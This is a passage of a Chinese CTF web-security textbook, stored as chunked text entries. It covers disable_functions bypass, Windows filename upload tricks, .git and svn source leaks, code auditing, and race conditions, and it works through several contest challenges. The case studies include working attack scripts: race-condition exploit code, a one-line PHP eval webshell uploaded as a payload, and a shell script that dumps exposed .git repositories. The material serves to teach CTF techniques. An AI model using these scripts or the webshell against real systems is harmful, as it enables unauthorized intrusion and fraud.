with a dot(.)) $it = new DirectoryIterator(\"glob:///.*\"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo \"{$f}<br/>\"; } ?> 为了防止PHP代码存在漏洞导致操作系统沦陷，很多管理员用disable_function来禁掉一些危险的函数，如system、exec、shell_exec、passthru等，以防止攻击者执行系统命令。 disable_function的绕过方式很灵活，通常依赖于系统层面的漏洞，比如利用shellshock、imagemagick等组件的漏洞进行绕过操作，或者依赖于系统环境，利用环境变量LD_PRELOAD等漏洞进行绕过操作。如果权限足够，还可以尝试使用PHP调用数据库UDF的方法来执行命令。"},
    {"text": "未知 5.2 Windows系统特性 1.短文件名 Windows以8.3格式生成了与MS-DOS兼容的“短”文件名，以允许基于MS-DOS或16位Windows的程序访问这些文件。在cmd下输入“dir/x”即可看到短文件名的效果。 而在IIS 6环境下，安全研究人员Soroush Dalili发现了一些规则，并利用这些信息枚举到目录下的文件或子目录的前5个字符。具体使用方法的源码可以参考lijiejie的IIS短文件名扫描工具： https://github.com/lijiejie/IIS_shortname_Scanner 。 在Windows下的Apache环境里，我们除了能爆破服务器文件，还能通过短文件直接下载长文件。 “discuz的备份文件泄露”就是利用了Windows的短文件名去猜解，这极大地减少了枚举量。 2.文件上传 另一个与文件系统交互相关的功能就是，上传的时候如果以黑名单的形式限制后缀，那么我们可以利用文件系统的特性去绕过。比如以下代码： <form action=\"\" method=\"POST\" enctype=\"multipart/form-data\"> <input type=\"file\" name=\"file\"> <input type=\"submit\" name=\"submit\" value=\"submit\"> </form> <?php error_reporting(1); if(isset($_POST['submit'])) { $name = $_FILES['file']['name']; $tempfile = $_FILES['file']['tmp_name']; $savefile = \"./upload/\".$name; if(isset(pathinfo($name)['extension']) && pathinfo($name)['extension']!='php'){ if(move_uploaded_file($tempfile,$savefile)){ die('Success upload path : '.$savefile); }else{ die('Upload failed..'); } } } ?> 在这段代码中，我们不能上传后缀名为php的文件，但是如果我们在上传的时候在php的后面追加高位字符[\\x80-\\xff]，这样就可以绕过黑名单的判断而上传成功，上传的文件后缀会去掉[\\x80-\\xff]。与高位字符具有同样效果的还有“::$data”，后者是利用“:$DATA Alternate Data Stream”，详细建议请参考OWASP。 Windows下还有一个特殊的符号是冒号，如果我们上传的时候将后缀改为“.php:.png”形式，那么在系统中最后得到的将是0字节的php后缀文件，也就是说起到了截断的效果，但是没能成功写入内容。 未知 第6章 代码审计 代码审计，顾名思义就是检查源代码中的安全缺陷，检查程序源代码是否存在安全隐患，或者是否有编码不规范的地方，通过自动化工具或者人工审查的方式，对程序源代码逐行进行检查和分析，发现这些源代码缺陷引发的安全漏洞，并提供代码修订措施和建议。 未知 1.2 Sqlmap Sqlmap是一款开源的渗透测试工具，其可以自动检测并利用SQL注入漏洞。Sqlmap配备了强大的检测引擎，在CTF的Web类型的题目中经常会遇到注入类型的题目（见2.2节）。如果题目比较简单，甚至可以直接用Sqlmap得到flag。 但是，一般的题目还是需要进行绕过操作的，比如绕过空格或关键字检测等，这时候则可以调用Sqlmap的一些Tamper，或者自行编写Tamper来进行绕过，从而得到flag。 Sqlmap使用Python开发，常见的Linux发行版本都自带了Python环境，但若想要在Windows系统下使用Sqlmap，则需要自行安装Python环境。在GitHub中下载源码包（ https://github.com/sqlmapproject/sqlmap ），解压后便可以使用了，正确安装环境并部署源码包之后，在命令行下输入python sqlmap.py后会显示类似图1-11所示的界面。 图1-11 Sqlmap运行界面 Sqlmap提供了强大的命令行功能，而且在Burp中也存在Sqlmap的插件。下面就来介绍一些基本的参数及其作用（见表1-5）。 表1-5 Sqlmap的常用参数 Tamper通常用来绕过一些过滤或者WAF，此处将为大家列举一些常见Tamper的功能（见表1-6）。这些Tamper脚本存放在Sqlmap目录下的tamper目录中，大家可以通过这些Tamper的代码学习一些绕过技巧（后面的章节也会介绍一些常见的绕过方法），或者是自己尝试编写有针对性的Tamper。 表1-6 常用Tamper及作用 此外，Sqlmap还存在sqlmapapi.py，可以方便地通过API进行调度。更多的Sqlmap指令可在官方文档中找到，文档地址为： https://github.com/sqlmapproject/sqlmap/wiki 。"},
    {"text": "未知 6.1 源码泄露 CTF比赛中经常会出现需要源码审计的题目，源码有时候会直接提供给你，有时候则需要自己去找，因此下面为大家列出几种常用的源码泄露的途径及利用技巧。"},
    {"text": "下面以index.php为例列出一些可能的备份文件： .index.php.swp .index.php.swo index.php~ index.php.bak index.php.txt index.php.old ... （2）整站源码备份文件 有时候题目会将整站源码打包，然后放在网站的根目录下，这时，只要找到这个压缩包就能开始进行源码审计了。 下面列出一些常见的整站备份文件名，举例如下： www wwwdata wwwroot web webroot backup dist ... 后面再加上各种压缩文件后缀名，举例如下： .zip .tar .tar.gz .7z .rar ... 有时候，还可以利用其他可能会泄露目录结构或文件名的敏感文件来获取备份文件的位置，如“.DS_Store”等。"},
    {"text": "2.Git泄露 大家对GitHub一定都不陌生，这上面不仅可以找到各种好用的开源工具，而且可以上传一些自己开发的项目，是我们获取源码的一个途径。"},
    {"text": "图6-1 题目界面 通过搜索“请登录,bibibibibibibibibibibibibibi~”就能够得到源码，注意一定要登录GitHub后再进行搜索，搜索结果如图6-2所示。"},
    {"text": "（2）通过.git泄露 我们知道每个git项目的根目录下都存在一个.git文件夹，这个文件夹的作用就是存储项目的相关信息，这里笔者推荐的工具是GitHack和scrabble，下面就来结合git原理将scrabble源码简要分析一遍。"},
    {"text": "图6-2 GitHub搜索结果 了解git原理之前，我们首先应在本地建立一个git工程并初始化，然后再commit一次，如图6-3所示。 图6-3 初始化git工程 然后，进入.git目录下，看看目录中有什么文件，如图6-4所示。 图6-4 git目录结构 这里列举几个比较关键的文件。"},
    {"text": "所以，我们可以通过下面的几个操作找到项目的每个文件夹及文件，首先是确定commit对象，如图6-5所示。 图6-5 确定commit对象 其中，第三条命令最后的参数只需要输入第二条命令返回结果的前6位即可，然后我们就能查看里面的tree对象和blob对象了，如图6-6所示。 图6-6 查看对象 这样就可以看到之前commit的三个文件了，由于这三个文件是空的，所以blob标识是相同的。"},
    {"text": "首先是输入存在“.git”目录中的url，接着就是查看HEAD文件获取分支的位置，然后得到分支的hash值，代码如下： domain=$1 ref=$(curl -s $domain/.git/HEAD | awk '{print $2}') tmp_dir=`echo $domain | awk -F'[/:]' '{print $4}'` mkdir $tmp_dir cd $tmp_dir lastHash=$(curl -s $domain/.git/$ref) 得到hash值后首先本地初始化一个git，接着通过parseCommit获取全部对象，最后使用reset重设分支，这样就将项目重新建立在本地了，代码如下： git init cd .git/objects/ parseCommit $lastHash cd ../../ echo $lastHash > .git/refs/heads/master git reset --hard 接下来，我们来看看三个自定义函数：parseCommit、parseTree、downloadBlob。 1）parseCommit函数用于下载commit对象，同时会将其parent也一并下载下来，代码如下： function parseCommit { echo parseCommit $1 downloadBlob $1 tree=$(git cat-file -p $1| sed -n '1p' | awk '{print $2}') parseTree $tree parent=$(git cat-file -p $1 | sed -n '2p' | awk '{print $2}') [ ${#parent} -eq 40 ] && parseCommit $parent } 2）parseTree函数用于下载tree对象，同时列出tree下的所有对象，分类为tree或者blob后处理，代码如下： function parseTree { echo parseTree $1 downloadBlob $1 while read line do type=$(echo $line | awk '{print $2}') hash=$(echo $line | awk '{print $3}') [ \"$type\" = \"tree\" ] && parseTree $hash || downloadBlob $hash done < <(git cat-file -p $1) } 3）downloadBlob函数用于将与hash对应的文件下载下来： function downloadBlob { echo downloadBlob $1 mkdir -p ${1:0:2} cd $_ wget -q -nc $domain/.git/objects/${1:0:2}/${1:2} cd .. } 理解了git目录结构和原理之后，再遇到与git相关的题目时就能够自如地应对题目的变化了，我们需要找到的其实就是下载项目对应commit的hash。"},
    {"text": "该例题中的“.git”文件夹下留着的项目只有README.md和“.gitignore”，README.md告诉我们“All source files are in git tag 1.0”，所以我们只需要找到tag=1.0的hash即可，直接找到refs/tags/1.0并读取hash，然后在代码上将lastHash的值修改为我们得到的hash值，还原出来后就能得到flag了。"},
    {"text": "3.svn泄露 svn与git类似，同样是项目初始化时会生成一个“.svn”目录，所以也可以用工具来解决，笔者这里推荐使用svn-extractor，内容与git差不多，所以不再赘述。"},
    {"text": "4.利用漏洞泄露 如果能发现任意文件包含漏洞或者任意文件存在下载漏洞，就有可能下载到题目的源码，对其进行审计。 任意文件包含和下载的漏洞的表现形式包含但不限于以下几种： · http://example.com/download.php?file=abc.pdf · http://example.com/show_image.php?file=1.jpg · http://example.com/read.aspx?file=./upload/1.txt 将file参数修改为“../index.php”这种形式，就可以利用漏洞下载源代码文件了，通常比赛题目中这种漏洞是与别的漏洞配合起来使用的，如XSS和SSRF漏洞。"},
    {"text": "未知 6.2 代码审计的方法与技巧 代码审计是CTF比赛中非常重要的一环，不仅在线上赛占据半壁江山，在攻防赛中也是Web方向的主要考核内容。"},
    {"text": "题目的源码如下： <?php function ew($haystack, $needle) { return $needle === \"\" || (($temp = strlen($haystack) - strlen($needle)) >= 0 && strpos($haystack, $needle, $temp) !== false); } function filter_directory() { $data = parse_url($_SERVER['REQUEST_URI']); $filter = [\"cache\", \"binarycloud\"]; foreach ($filter as $f) { if (preg_match(\"/\" . $f . \"/i\", $data['query'])) { die(\"Attack Detected\"); } } } function error($msg) { die(\"<script>alert('$msg');history.go(-1);</script>\"); } filter_directory(); if ($_SERVER['QUERY_STRING'] && $_FILES['file']['name']) { if (!file_exists($_SERVER['QUERY_STRING'])) error(\"error3\"); $name = preg_replace(\"/[^a-zA-Z0-9\\.]/\", \"\", basename($_FILES['file']['name'])); if (ew($name, \".php\")) error(\"error\"); $filename = $_SERVER['QUERY_STRING'] . \"/\" . $name; if (file_exists($filename)) error(\"exists\"); if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) { die(\"uploaded at <a href=$filename>$filename</a><hr><a href='javascript:history.go(-1);'>Back</a>\"); } else { error(\"error\"); } } ?> 通过源码，我们首先可以找到可控的输入点为$_FILES、$_SERVER['QUERY_STRING']和$_SERVER['REQUEST_URI']。 然后查看有无过滤，分析上传代码之后可以找到如下两个过滤函数： ew($haystack, $needle) //这里判断的是上传文件的后缀名是不是.php filter_directory() //这个函数的过滤是使parse_url($_SERVER['REQUEST_URI'])['query']的结果不能包含\"cache\" 可以发现，输入的$_SERVER['REQUEST_URI']经过了函数parse_url的处理，那么这个函数有没有什么特性可以利用呢？ 通过下面的测试可以看到，我们成功地将query这个结果去掉了，从而绕过了过滤： /1.php?url=/home/binarycloud/www/cache array(2) { [\"path\"] => string(6) \"/1.php\" [\"query\"] => string(31) \"url=/home/binarycloud/www/cache\" } //1.php?url=/home/binarycloud/www/cache array(2) { [\"host\"] => string(10) \"1.php?url=\" [\"path\"] => string(27) \"/home/binarycloud/www/cache\" } 这样就能成功构造输入，绕过过滤，将文件上传到我们希望的目录下了。"},
    {"text": "2.大型代码 攻防赛及实战中一般都是对CMS型的框架进行审计，漏洞触发条件一般都不算太难，主要问题还是需要从大量代码中快速定位到这些漏洞，同样也可以按照下面这几个步骤来进行审计： 1）找到危险函数；"},
    {"text": "首先寻找危险函数，可以找到一个通用的插入数据库的函数，代码如下： public function save_log($data) { return $this->db->insert_array($data,'wealth_log'); } 然后，查找是否有调用此函数并且有输入点的地方，在framework/model/wealth.php中发现wealth_autosave满足条件，其中存在$_SERVER['QUERY_STRING']可以让我们输入。 $_SERVER['QUERY_STRING']是直接取出来的，没有经过过滤，代码如下： <?php public function wealth_autosave($uid = 0, $note = '', $main_id = '', $ext = '') { ... if ($_SERVER['QUERY_STRING']) { $url.= '?' . $_SERVER['QUERY_STRING']; } $data['url'] = substr($url, 0, 255); ... foreach ($wealth_list as $key => $value) { if (!$value['rule']) { unset($wealth_list[$key]); continue; } $log = $data; $log['wid'] = $value['id']; $log['status'] = $value['ifcheck'] ? 0 : 1; $log['mid'] = $main_id; foreach ($value['rule'] as $k => $v) { ... if ($ext && is_array($ext) && count($ext) > 0) { foreach ($ext as $kk => $vv) { $val = str_replace($kk, $vv, $val); } } $val = round($val, $value['dnum']); $log['val'] = $val; $get_val = $this->get_val($log['goal_id'], $log['wid']); $this->save_log($log); 最后看看如何触发这个漏洞就可以了，发现在framework/api/register_control.php中存在调用，代码如下： if($uid){ //保存用户与用户的关系 if($_SESSION['introducer']){ $this->model('user')->save_relation($uid,$_SESSION['introducer']); } $this->model('wealth')->wealth_autosave($uid,P_Lang('会员注册')); } 即注册成功就能触发漏洞，如图6-7所示。"},
    {"text": "这里为大家推荐两款国内比较流行的代码审计工具，分别是收费的“RIPS”和免费的“Seay源代码审计系统”。 RIPS是一款非常优秀的源码审计工具，现在已经是一款收费工具了，并且报价不菲。"},
    {"text": "RIPS的主要思路就是利用PHP的函数token_get_all来分析代码的语法，通过一定的规则识别出每个漏洞，再通过回溯追踪输入点来查看是否能够构成漏洞。"},
    {"text": "它的使用方法很简单，直接在路径上填入待扫描的源码文件夹就可以了，如图6-8所示。 图6-8 RIPS设置界面 扫描完成后，结果将直接显示出来，并且指出你可以输入的地方，这样你就可以有针对性地寻找漏洞了，如图6-9所示。 图6-9 RIPS扫描结果 接下来介绍的是“Seay源代码审计系统”，该源码审计系统的设计思路比较简单，自动审计的过程主要是根据各种正则表达式匹配的结果来判断是否存在漏洞，主要还是简化了审计人员的一些重复工作，是一款比较实用的工具。"},
    {"text": "（1）自动审计功能 这个功能就是与预先设置好的正则匹配表达式相匹配，如果匹配成功则会打印出来，图6-10为一个检测一句话后门的结果。"},
    {"text": "图6-11 规则管理 （2）全局搜索功能 通过这个功能，你可以在所选的目录下搜索你输入的字符串，通常可以查找关键函数、变量或关键字符串，如图6-12所示。"},
    {"text": "图6-12 全局搜索 除了上面介绍的两款代码审计工具之外，我们还可以借助安全狗、D盾、护卫神等扫描Webshell的工具来扫描一下代码，检查是否有被预留Webshell或是明显危险的函数调用，以防出现问题。"},
    {"text": "未知 第7章 条件竞争 条件竞争（Race Condition）在日常的Web应用开发中，通常不如其他漏洞受到的关注度高。因为普遍的共识是，条件竞争是不可靠的，大多数时候只能靠代码审计来识别发现，而依赖现有的工具或技术很难在黑盒/灰盒中识别并进行攻击。即便该漏洞很难被发现，也仍然有很多企业曾被曝出相关漏洞，例如星巴克咖啡、小密圈的App产品等。本章所要讲解的条件竞争漏洞仅限于Web应用之中。 在CTF的比赛中，条件竞争是一个较为常见的考点之一。第一种情况是出题人在题目中给出了一定提示，或者是设计了较为明显的逻辑问题。第二种情况则是出题人通过本书前面章节讲解的一些手段将题目源码泄露出来，从而使我们能够识别并进行测试。 近年来，CTF比赛中条件竞争相关题目出现的频率有了明显提升，例如，HCTF 2016、0CTF 2017中均有相关题目。 未知 7.1 概述 在讲解之前，我们先来了解什么是条件竞争漏洞。条件竞争是指多个线程或者进程在读写一个共享数据时，结果依赖于它们执行的相对时间的情形。当多个线程或进程同时访问相同的共享代码、变量、文件等而没有锁或没有进行同步互斥管理时，则会触发条件竞争，导致输出不一致的问题。 在编写代码时，由于大部分服务端语言编写的代码是以线性方式执行的，而Web服务器往往是多个线程并行执行，因而很可能会出现一些问题。下面列举一个简单的例子。 有一个银行账户A和一个银行账户B里面各有1000元钱，现在有两名用户同时登录到了账户A，并且两人都想完成同一个操作：从账户A转100元到账户B，那么正常的操作结果应该是两名用户转账结束之后，账户A里面剩余800元，账户B里面剩余1200元。 但是，考虑下面这样一种情况，如果两名用户在同一个时刻发起了转账请求，那么服务器的处理过程如下。 1）用户甲发起转账请求，服务器验证账户A的余额为1000元，可以转账。 2）用户乙同时发起转账请求，服务器验证账户A的余额为1000元，可以转账。 3）服务器处理用户甲的请求，从账户A里面扣除100元（此时账户A余额为900元），并将其存入账户B（此时账户B余额为1100元）。 4）服务器处理用户乙的请求，从账户A里面扣除100元（此时账户A余额为900元），并将其存入账户B（此时账户B余额为1200元）。 5）处理结果：账户A余额为900元，账户B余额为1200元。 出现上述情况的原因就是条件竞争，正常情况下，因为账户A作为一个共享变量，在某一个时刻有且只有一个用户能够操作账户A的余额，但是由于服务器没有进行适当的加锁或是同步互斥管理，使得两个用户同时访问并修改账户A的余额，从而引发错误。 注意，这里所说的同时并非真正意义上的同时，而是两个操作之间时间间隔极小，对比服务端的延迟，可以近似于同时。当然上述示例只是一个说明性的例子，因为仅仅只有两个用户时是很难做到同时的，所以在真正实际操作的时候，往往会设置很大的进程数或线程数同时发起请求，从而使得某两个进程或线程能够幸运地做到同时。"},
    {"text": "未知 7.2 条件竞争问题分析及测试 接下来将分别从因一般代码逻辑问题引发的条件竞争和因数据库无锁引发的条件竞争来分析条件竞争问题及相关测试方法。 1.一般代码逻辑引发的条件竞争 对于不涉及数据库的这一类问题，其主要原因在于服务端的代码对于共享资源的处理存在问题，首先来看一个较为简单的例子，示例代码如下： <?php $cnt=file_get_contents(\"count.txt\"); //count.txt的初始内容为0 $cnt+=1; echo \"This site was visited $cnt times.\"; file_put_contents(\"count.txt\",$cnt); ?> 在这个例子中，我们想要实现的功能就是记录这个网站页面被访问了多少次。假设每一次用户请求，服务端都应将count.txt中的数值加1，用户得到的输出内容每次都应该与实际请求次数一致，但是这段代码因为条件竞争的原因很可能没办法对访问次数进行准确记录，从而导致用户得到的输出内容与实际请求次数不一致。 如果存在两个用户同时访问，就会造成count.txt里面的数值本应该增加2，却只增加了1的情况，如图7-1所示。 到这里，大家已经不难窥见条件竞争漏洞的原理了，接下来以样例代码为例，介绍一下常见的条件竞争漏洞的测试方法。 图7-1 多用户同时访问形成的条件竞争 首先，我们利用前面介绍的Burp的Intruder模块进行测试，截取数据包之后进行配置，在Payloads一栏配置访问总次数为1000，如图7-2所示。 图7-2 设置访问数量为1000次 然后，在Options一栏配置并发线程数为80（如图7-3所示），当然这个数目越大就越容易触发条件竞争，但是数目过大可能会对服务器造成一定负担。 图7-3 设置线程数量为80 我们期望最后结果的值应该是1000次，但是从实验结果可以发现，1000个访问请求最后只记录了786次，如图7-4所示。 图7-4 Burp测试条件竞争的结果 接下来，我们用一个简短的Python脚本来进行测试，测试代码如下： import requests import threading import Queue url = \"http://example.com/count.php\" requests_time = 0 message_queue = Queue.Queue() stop = 0 def output(): global message_queue,stop while stop!=1 or message_queue.empty()!=True: try: msg = message_queue.get() except: continue print msg def request(): global requests_time,message_queue while requests_time < 1000: message_queue.put(requests.get(url).content) requests_time += 1 Thread_count = 80 threading.Thread(target=output).start() for i in xrange(Thread_count): t = threading.Thread(target=request, args=()) t.start() stop = 1 需要注意的是，这里设置了requests_time<1000，但是总共发送的请求数量肯定会超过1000，原因也是因为条件竞争。 由图7-5可以看出，我们发起了超过1000次的访问，但是输出结果的最大值远远不够1000。 图7-5 Python测试条件竞争的结果 以上就是两种较为常用的条件竞争测试方法（Brup测试和Python脚本测试），当然还有很多其他可以快速实现并发的编程语言（如Golang等）也可用来进行测试，有兴趣的读者可以自行研究。 2.数据库无锁机制引发的条件竞争 在说明之前，这里需要简单介绍下数据库的锁机制。在MySQL数据库中，不同的存储引擎支持不同的锁机制，以InnoDB存储引擎为例，InnoDB中常用的有两种行级锁（对单行数据加锁）：共享锁（读锁）和排他锁（写锁）。 两种锁实现的语法不同，其功能自然也不同。共享锁，顾名思义，就是多个事务对于同一数据可以共享一把锁，都能访问到数据，但是只能读不能修改；排他锁，即一个事务获取了一个数据行的锁，其他事务就不能再获取该行的其他锁（排他锁或者共享锁）了，也就是说，一个事务在读取一个数据行时，其他事务不能对该数据行进行增、删、改查操作。 对于update、insert、delete语句，InnoDB会自动给设计的数据集添加排他锁。对于普通的select语句，InnoDB不会加任何锁。以下是select语句设置共享锁和排他锁的方式： SELECT ... LOCK IN SHARE MODE; //设置共享锁 SELECT ... FOR UPDATE; //设置排他锁 但是，我们在编写服务端程序与数据库进行交互的时候，出于对一些原因的考虑，并不会对select语句加锁，而这通常会成为我们成功利用条件竞争漏洞的关键点。接下来，我们来看看概述里面所列举的例子，如图7-6所示。 图7-6 数据库查询语句未加锁导致的条件竞争 讲到这里，相信大家已经基本能够理解其中的原因了，由于查询数据库的select语句无锁，即当多个线程同时访问时均能获取到结果，从而导致我们能够利用条件竞争漏洞。0CTF 2017中有一道题目便与我们所列举的这个例子类似，具体将在8.3节的实例中进行详细介绍。 未知 第8章 案例解析 为了让大家能够直观地理解前面章节所讲述的知识点，本章将以CTF比赛中真实出现过的Web题目为例，进行简要分析。"},
    {"text": "未知 8.1 NSCTF 2015 Web实例 题目逻辑较为简单，当你上传一个php5后缀的文件时，是能够成功上传的，但是很快就会看到提示：检测到恶意文件，且该文件会立即被删掉。题目并没有给出源代码，不过这里我们会结合源码来进行分析，主要源码如下： <h1>请上传文件！</h1><br> <form method=\"post\" action=\"index.php\" enctype=\"multipart/form-data\"> <input type=\"file\" name=\"file\" value=\"1111\"/> <input type=\"submit\" name=\"submit\" value=\"upload\"/> </form> <?php error_reporting(0); if(isset($_POST['submit'])) { $savefile = $_FILES['file']['name']; $savefile = preg_replace(\"/\\.\\.|\\%/\", \"\", $savefile); $tempfile = $_FILES['file']['tmp_name']; $savefile = preg_replace(\"/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\\.|$)/i\", \"_\\\\1\\\\2\", $savefile); $savefile = 'upload/'.$savefile; if(move_uploaded_file($tempfile,$savefile)) { $filename = $savefile; if(file_exists($filename) && ((substr($savefile, -5) == '.php5'))) { file_put_contents($filename, \"flag:{NSCTF_8f0fc74ddf786103ed56d20af3bf269}\"); sleep(0.5); unlink($filename); exit('上传成功，文件地址为:'.$savefile.\"<br>\".\"但是系统检测到恶意上传立马又被删了~\"); }else{ unlink($filename); exit('上传成功，文件地址为:'.$savefile.\"<br>\"); } }else{ exit('上传失败~'.\"<br>\"); } } 可以看到题目将flag写入我们上传的文件，但是隔了0.5s之后就删掉了，所以我们可以通过多线程并发操作，同时上传然后访问，利用中间0.5s的间隙通过条件竞争漏洞在其还未被删除时访问，即可获得flag，测试代码如下： import sys import requests import threading url1 = \"http://127.0.0.1:8000/\" url2 = \"http://127.0.0.1:8000/upload/1.php5\" def upload(url): boundary = '---------------------------1140584253378828599621526726' header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'multipart/form-data; boundary='+boundary, 'Connection': 'keep-alive', } tmp = [] tmp.append('--' + boundary) tmp.append('Content-Disposition: form-data; name=\"file\"; filename=\"1.php5\"') tmp.append('Content-Type: application/octet-stream') tmp.append('') content=\"<?php @eval($_POST[bendawang]);?>\" tmp.append(content) tmp.append('--' + boundary) tmp.append('Content-Disposition: form-data; name=\"submit\"') tmp.append('') tmp.append('upload') tmp.append('--' + boundary + '--') tmp.append('') CRLF = '\\r\\n' data = CRLF.join(tmp) result=requests.post(url,data=data,headers=header) return result def get(url): try: result=requests.get(url) if \"flag\" in result.content: print result.content except: pass def main(): while True: t1 = threading.Thread(target=upload, args=(url1,)) # 一个线程上传 t2 = threading.Thread(target=get, args=(url2,)) # 一个线程竞争访问 t1.start() t2.start() t1.join() t2.join() if __name__ == '__main__': sys.exit(int(main() or 0)) 运行结果如图8-1所示。 图8-1 运行结果"},
    {"text": "未知 8.2 湖湘杯2016线上选拔赛Web实例 该题目通过备份文件的方式给出了源码，其中与解题相关的页面有两个，一个是注册页面register.php，一个是登录页面login.php，登录成功则会自动重定向到首页上。两个页面的源代码如下。 注册页面： //register.php <?php include(\"connect.php\"); $title = \"AArt - Your home for ASCII Art\"; include(\"header.html\"); include(\"sidebar.php\"); ?> <div class=\"flakes-content\"> <div class=\"view-wrap\"> <h1>注册</h1> </div> <?php if(isset($_POST['username'])){ $username = mysqli_real_escape_string($conn, $_POST['username']); $password = mysqli_real_escape_string($conn, $_POST['password']); $sql = \"INSERT into users (username, password) values ('$username', '$password');\"; mysqli_query($conn, $sql); $sql = \"INSERT into privs (userid, isRestricted) values ((select users.id from users where username='$username'), TRUE);\"; mysqli_query($conn, $sql); ?> <h2>注册成功!</h2> <?php } else { ?> <div class=\"grid-1\"> <div class=\"span-1\"> <fieldset> <legend>账户</legend> <form action=\"register.php\" method=\"post\"> <ul> <li> <label>用户名</label> <input type=\"text\" name=\"username\"> </li> <li> <label>密码</label> <input type=\"text\" name=\"password\"> </li> <li><input type=\"submit\"></li> </ul> </form> </fieldset> </div> </div> <?php } ?> </div> <?php include(\"footer.html\"); ?> 登录页面： //login.php <?php include(\"connect.php\"); $title = \"AArt - ASCII字符艺术之家\"; include(\"header.html\"); include(\"sidebar.php\"); ?> <div class=\"flakes-content\"> <div class=\"view-wrap\"> <h1>登录</h1> </div> <?php if(isset($_POST['username'])){ $username = mysqli_real_escape_string($conn, $_POST['username']); $sql = \"SELECT * from users where username='$username';\"; $result = mysqli_query($conn, $sql); $row = $result->fetch_assoc(); var_dump($_POST); var_dump($row); if($_POST['username'] === $row['username'] and $_POST['password'] === $row['password']){ ?> <h1>Logged in as <?php echo($username);?></h1> <?php $uid = $row['id']; $sql = \"SELECT isRestricted from privs where userid='$uid' and isRestricted=TRUE;\"; $result = mysqli_query($conn, $sql); $row = $result->fetch_assoc(); if($row['isRestricted']){ ?> <h2>此账户限制登录</h2> <?php }else{ ?> <h2><?php include('../flag');?></h2> <?php } ?> <h2>成功!</h2> <?php } } else { ?> <div class=\"grid-1\"> <div class=\"span-1\"> <fieldset> <legend>账户</legend> <form action=\"login.php\" method=\"post\"> <ul> <li> <label>用户名</label> <input type=\"text\" name=\"username\"> </li> <li> <label>密码</label> <input type=\"text\" name=\"password\"> </li> <li><input type=\"submit\" value=\"Login\"></li> </ul> </form> </fieldset> </div> </div> <?php } ?> </div> <?php include(\"footer.html\"); ?> 分析login.php的代码可以了解到，只要满足$row['isRestricted']不为真或没有返回值（即查询为空），就能获取到flag。再来看看register.php的关键部分： $sql = \"INSERT into users (username, password) values ('$username', '$password');\"; mysqli_query($conn, $sql); $sql = \"INSERT into privs (userid, isRestricted) values ((select users.id from users where username='$username'), TRUE);\"; mysqli_query($conn, $sql); 注册时的逻辑是先向users表中插入用户和密码，再向privs表中插入权限信息，所以两次数据库操作存在时间差。当我们在插入用户密码，但是还没有插入权限信息时登录，就能够获得flag了。 所以，同样的测试代码如下： #题目与代码来源： https://github.com/iAklis/changelog-story import requests import string import re import random import threading url_register = \"http://127.0.0.1:8000/register.php\" url_login = \"http://127.0.0.1:8000/login.php\" def register(data): requests.post(url_register, data=data) def login(data): S = requests.Session() R = S.post(url_login, data=data) content = R.content if 'flag' in content: print content def main(): while True: username = 'test' + '' .join(random.choice(string.ascii_letters) for i in range(5)) password = '123' data = { 'username' : username, 'password' : password} t1 = threading.Thread(target=register, args=(data,)) t2 = threading.Thread(target=login, args=(data,)) t1.start() t2.start() t1.join() t2.join() if __name__ == '__main__': import sys sys.exit(int(main() or 0)) 最后附上数据库的结构，以便大家自己测试： CREATE database if not exists aart; USE aart; DROP TABLE art; CREATE TABLE art ( id INT PRIMARY KEY AUTO_INCREMENT, title TEXT, art TEXT, userid INT, karma INT DEFAULT 0 ); DROP TABLE users; CREATE TABLE users ( id INT PRIMARY KEY AUTO_INCREMENT, username TEXT, password TEXT ); DROP TABLE privs; CREATE TABLE privs ( userid INT PRIMARY KEY, isRestricted BOOL );"},
    {"text": "未知 8.3 0CTF 2017 Web实例 这道题与上一道题是类似的，这里简单介绍下题目内容：注册登录之后，我们账户里面一共有4000元，但是要获得hint需要8000元。页面给出了如图8-2所示的功能。 图8-2 题目界面 如图8-2所示，我们可以买入一个东西，也可以将其卖出，逻辑很清晰。根据猜测以及前文中的分析，我们可以得知在卖出的时候，服务端先更新账户余额，再扣除货物，所以可以利用两次数据库操作的时间差来触发条件竞争漏洞，测试代码如下： import sys import requests import threading url1 = \"http://202.120.7.197/app.php\" def get(url): try: result=requests.get(url,headers={\"Cookie\":\"PHPSESSID=s19hq4hahl2fdoomact47vpq75\"}) except: pass def main(): while True: t1 = threading.Thread(target=get, args=(url1+ \"?action=buy&id=5\",)) t2 = threading.Thread(target=get, args=(url1+ \"?action=sale&id=5\",)) t3 = threading.Thread(target=get, args=(url1+ \"?action=sale&id=5\",)) t1.start() t2.start() t3.start() if __name__ == '__main__': sys.exit(int(main() or 0)) 通过上述代码即可触发条件竞争漏洞从而获得金钱。最后给出部分源码，以帮助分析，处理卖出请求的源码如下： <?php if (!isset($_GET['id'])) { errormsg(\"Goods id required.\"); } $goodsid = intval($_GET['id']); $userid = $user['id']; $sql = \"select id from usergoods where goodsid = $goodsid and userid = $userid\"; //确认是否有与此id对应的产品 $result = $con->query($sql); $tmp = $result->fetch_array(MYSQLI_ASSOC); if (!$tmp) { errormsg(\"You don't have this goods\"); } $sql = \"select price, info, name from goods where id = $goodsid\"; //查询产品的价格 $result = $con->query($sql); $goods = $result->fetch_array(MYSQLI_ASSOC); $price = $goods['price']; $wallet = $user['wallet']; $wallet += $price; //$wallet即账户余额 $sql = \"update `user` set wallet = $wallet where id = $userid\"; //卖出的时候先更新账户余额 if ($con->query($sql) !== true) { errormsg(\"Update fail\"); } $sql = \"delete from usergoods where goodsid = $goodsid and userid = $userid limit 1\"; //更新完账户余额后再扣除货物 if ($con->query($sql) !== true) { errormsg(\"Sale fail\"); } msg( [ \"status\" => \"suc\", \"wallet\" => $wallet, ] );"},
    {"text": "未知 8.4 2019 WCTF大师赛赛题剖析：P-door 这道题用到了前文所述的代码审计、反序列化漏洞等技术，该题目已经开源，获取地址为 https://github.com/paul-axe/ctf 。"},
